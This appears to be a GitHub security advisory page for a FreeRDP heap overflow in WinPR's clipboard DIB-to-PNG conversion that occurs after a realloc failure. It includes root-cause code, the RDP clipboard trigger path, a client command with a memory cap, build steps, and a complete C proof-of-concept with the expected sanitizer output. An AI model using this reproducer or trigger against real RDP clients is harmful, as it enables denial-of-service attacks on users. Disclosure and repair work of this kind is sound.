All vulnerabilities
GHSA-wf3x-658c-52m5

FreeRDP: Clipboard DIB-to-PNG conversion writes past the heap buffer after realloc failure

FreeRDP
CVSS
n/aMedium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published28 Sep 2026Updated 28 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Clipboard DIB-to-PNG conversion writes past the heap buffer after realloc failure

Summary

WinPR's libpng write callback retains the old output pointer when realloc() fails, but it tests only whether the pointer is non-NULL before copying the newly requested output chunk. It consequently writes past the committed allocation.

A real RDP clipboard peer can supply the CF_DIB data and dimensions that are converted through the stock clipboard-to-PNG path. Under bounded client memory, one 2048x2048 DIB and one conversion reproducibly cause a native client SIGSEGV; retained repeated conversions are no longer required. A diagnostic run observed a physical heap overwrite before the fault, and changing peer-supplied pixels changed the bytes written out of bounds.

The direct ASan and real product-pipeline results were reproduced on source equivalent to commit dbea8ef5d3eb680bbafbdeaf0cc81a6614070196 (3.31.0-60-gdbea8ef5d). Inspection of reporting-time upstream HEAD 69afd13014b3a5f5e32d649112ce6f06d8024449 (3.31.0-121-g69afd1301) confirms the vulnerable callback is still present.

Affected versions

  • Confirmed affected releases: FreeRDP 3.10.0 through 3.31.0, when built with WINPR_UTILS_IMAGE_PNG=ON and libpng.
  • Regression commit: 83f2f21ad32270bd4b908a1d7104927e3aafe4e5, first included in release 3.10.0.
  • Dynamically tested development revisions: 3.31.0-58-gf4eed14aa and 3.31.0-60-gdbea8ef5d.
  • Confirmed affected source at reporting time: 3.31.0-121-g69afd1301.
  • No patched upstream release was known at the time of reporting.

Root cause

The vulnerable code is png_write_data() in winpr/libwinpr/utils/image.c:

size_t nsize = p->size + length;

if (p->buffer)
{
    char* tmp = realloc(p->buffer, nsize);
    if (tmp)
        p->buffer = tmp;
}
else
    p->buffer = malloc(nsize);

if (!p->buffer)
    png_error(png_ptr, "Write Error");

memcpy(p->buffer + p->size, data, length);
p->size += length;

When growth fails, tmp == NULL, but p->buffer still points to the old live allocation. The if (!p->buffer) test therefore does not report failure. The callback copies length bytes at the old logical end even though the allocation was not extended, then increases p->size as if the write succeeded.

Real RDP pipeline and native DoS

The exercised path is:

TCP -> TLS -> RDP -> joined cliprdr channel
    -> CB_FORMAT_LIST(CF_DIB)
    -> CB_FORMAT_DATA_RESPONSE
    -> ClipboardSetData(CF_DIB)
    -> ClipboardGetData(image/png)
    -> WinPR image conversion
    -> libpng png_write_data()
    -> failed output growth followed by out-of-bounds memcpy

The peer sends one legal 2048x2048, 32-bpp DIB. The client performs one PNG conversion. The accepted trigger uses an ordinary RLIMIT_AS=210000 KiB; it uses no allocator wrapper, selected failure ordinal, preload interposition, retained results, repeated conversion, private setter or modified upstream source.

Representative client command shape:

prlimit --as=$((210000 * 1024)) -- \
  ./clipboard-client --server=127.0.0.1 --port=43201 \
  --request-format=CF_DIB --convert-to=image/png \
  --repeat=1

Observed current/fix/control matrix:

| Case | Vulnerable build | Repaired build | | --- | --- | --- | | 2048x2048 DIB, one conversion, 210000 KiB | native SIGSEGV 3/3 | clean NULL, 3/3 | | 1024x1024 DIB, one conversion, same cap | clean 3/3 | clean 3/3 | | 2048x2048 DIB, one conversion, no cap | clean 3/3 | clean 3/3 |

Every row completed TLS/RDP, one clipboard format list and one 16,777,256-byte format-data response before conversion.

Direct ASan testing at exact failed-growth boundaries reports heap-buffer-overflow in png_write_data() through both the exported WinPR image API and the stock ClipboardGetData(CF_DIB -> image/png) synthesizer.

Observed write boundary

An observer-only diagnostic recorded this natural failed growth:

committed output size: 3404701 bytes
requested new size:    3412893 bytes
next write length:        8192 bytes

The callback started the 8192-byte libpng copy at owner + 3404701. In the accepted layout, 3,155 bytes were physically written into mmap tail slack before the copy reached an unmapped boundary and raised SEGV_MAPERR. The observed destination was not a live adjacent object.

Two equal-size DIBs with different peer-controlled pixel seeds generated equal-length PNGs. All 51 bytes in the observed overflow window differed, and 8,165 of the requested 8,192 chunk bytes differed. This shows that remote image content materially influences the out-of-bounds bytes. It does not establish independent control of every byte or the destination.

Build

git clone https://github.com/FreeRDP/FreeRDP.git
cd FreeRDP
git checkout --detach dbea8ef5d3eb680bbafbdeaf0cc81a6614070196

cmake -S . -B build -G Ninja \
  -DCMAKE_BUILD_TYPE=RelWithDebInfo \
  -DBUILD_SHARED_LIBS=ON \
  -DWITH_SERVER=ON \
  -DWITH_SAMPLE=ON
cmake --build build

Ensure that libpng development files are installed and WINPR_UTILS_IMAGE_PNG is enabled in the configuration summary. For sanitizer attribution, add:

-DCMAKE_C_FLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \
-DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
-DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'

Impact and limitations

This demonstrates a clipboard-peer-influenced client heap overflow and denial of service under bounded client memory. The peer controls the DIB dimensions and influences the deflate bytes written out of bounds. PNG support, client-side PNG conversion and a local memory ceiling are still required in the stable native reproducer; repeated conversion and retained outputs are not. The partial PNG is not returned to the caller or sent back over cliprdr. No information disclosure, arbitrary address/value write, live-object replacement, instruction-pointer control or code execution was demonstrated.

Suggested repair

Track callback failure separately from pointer ownership. If realloc() fails, mark the encoder failed and do not perform the copy or advance p->size. After libpng returns, release the retained output buffer and return a clean error through the existing row-allocation cleanup path.

A matched one-file repair using this approach returned NULL safely in all selected runs, stayed clean under ASan and passed the normal image/clipboard tests.

Minimal ASan reproducer (no attachment required)

Save the following as clipboard_png_realloc_poc.c. It constructs a valid CF_DIB, stores it in a real WinPR clipboard, and requests the stock synthesized image/png format. The fifth PNG callback realloc is failed deterministically so ASan attributes the resulting write directly to png_write_data().

#define _GNU_SOURCE

#include <errno.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <winpr/clipboard.h>
#include <winpr/image.h>

extern void* __interceptor_realloc(void*, size_t);

static _Atomic unsigned long armed;
static _Atomic unsigned long calls;

void* realloc(void* owner, size_t size)
{
    if (!atomic_load_explicit(&armed, memory_order_relaxed))
        return __interceptor_realloc(owner, size);

    const unsigned long ordinal =
        atomic_fetch_add_explicit(&calls, 1, memory_order_relaxed) + 1;
    fprintf(stderr, "PNG realloc %lu: %zu bytes\n", ordinal, size);
    if (ordinal == atomic_load_explicit(&armed, memory_order_relaxed))
    {
        errno = ENOMEM;
        return NULL;
    }
    return __interceptor_realloc(owner, size);
}

static uint32_t next_random(uint32_t* state)
{
    uint32_t x = *state;
    x ^= x << 13;
    x ^= x >> 17;
    x ^= x << 5;
    *state = x;
    return x;
}

int main(void)
{
    enum { WIDTH = 128, HEIGHT = 128, STRIDE = WIDTH * 4 };
    wImage image = { 0 };
    BYTE* pixels = malloc((size_t)STRIDE * HEIGHT);
    if (!pixels)
        return 1;

    uint32_t state = 0x6a09e667U;
    for (size_t i = 0; i < (size_t)STRIDE * HEIGHT; i++)
        pixels[i] = (BYTE)next_random(&state);

    image.type = WINPR_IMAGE_BITMAP;
    image.width = WIDTH;
    image.height = HEIGHT;
    image.data = pixels;
    image.scanline = STRIDE;
    image.bitsPerPixel = 32;
    image.bytesPerPixel = 4;

    size_t bmp_size = 0;
    void* bmp = winpr_image_write_buffer(&image, WINPR_IMAGE_BITMAP, &bmp_size);
    if (!bmp || bmp_size <= sizeof(WINPR_BITMAP_FILE_HEADER))
        return 2;

    wClipboard* clipboard = ClipboardCreate();
    const UINT32 png = ClipboardRegisterFormat(clipboard, "image/png");
    const BYTE* dib = (const BYTE*)bmp + sizeof(WINPR_BITMAP_FILE_HEADER);
    const size_t dib_size = bmp_size - sizeof(WINPR_BITMAP_FILE_HEADER);
    if (!clipboard || !png || dib_size > UINT32_MAX ||
        !ClipboardSetData(clipboard, CF_DIB, dib, (UINT32)dib_size))
        return 3;

    atomic_store_explicit(&calls, 0, memory_order_relaxed);
    atomic_store_explicit(&armed, 5, memory_order_release);
    UINT32 png_size = 0;
    void* output = ClipboardGetData(clipboard, png, &png_size);
    atomic_store_explicit(&armed, 0, memory_order_release);

    fprintf(stderr, "output=%p size=%u realloc_calls=%lu\n", output,
            png_size, atomic_load_explicit(&calls, memory_order_relaxed));
    free(output);
    ClipboardDestroy(clipboard);
    free(bmp);
    free(pixels);
    return 0;
}

Build the tested revision with libpng enabled, then compile and run the PoC:

sudo apt-get install -y clang cmake ninja-build pkg-config libpng-dev
git clone https://github.com/FreeRDP/FreeRDP.git
cd FreeRDP
git checkout --detach f4eed14aa8dadc44df320dcdde9dd8329a643d58

FLAGS='-O1 -g -fno-omit-frame-pointer -fno-optimize-sibling-calls -fsanitize=address,undefined'
cmake -S . -B build-asan -G Ninja \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
  -DCMAKE_C_FLAGS="$FLAGS" -DCMAKE_CXX_FLAGS="$FLAGS" \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' \
  -DBUILD_SHARED_LIBS=ON -DWINPR_UTILS_IMAGE_PNG=ON -DWITH_LODEPNG=OFF \
  -DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DWITH_CHANNELS=OFF \
  -DWITH_SAMPLE=OFF -DWITH_X11=OFF -DWITH_WAYLAND=OFF \
  -DWITH_FFMPEG=OFF
cmake --build build-asan --target winpr

clang -std=gnu11 -O0 -g -fsanitize=address,undefined \
  -fno-omit-frame-pointer -fno-optimize-sibling-calls \
  -Ibuild-asan/winpr/include -Iwinpr/include ../clipboard_png_realloc_poc.c \
  -Lbuild-asan/winpr/libwinpr -lwinpr3 \
  -Wl,-rpath,"$PWD/build-asan/winpr/libwinpr" -ldl -pthread \
  -o clipboard_png_realloc_poc

ASAN_OPTIONS='detect_leaks=0:allocator_may_return_null=1:halt_on_error=1:symbolize=1' \
UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \
./clipboard_png_realloc_poc

Expected result on the vulnerable revision:

PNG realloc 5: 8233 bytes
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8192
    ... png_write_data ... winpr/libwinpr/utils/image.c
    ... ClipboardGetData ... winpr/libwinpr/clipboard/clipboard.c

Using ordinal 8 is a second stable boundary (8245 -> 16437, followed by another 8192-byte write). Using a non-existent ordinal such as 999 is a clean success control. On the one-file repair, ordinals 5 and 8 both return NULL with output size zero and no sanitizer error.

Text from GitHub Advisory Database

Affected versions 1

  • FreeRDP, other>= 3.10.0, <= 3.31.0GitHub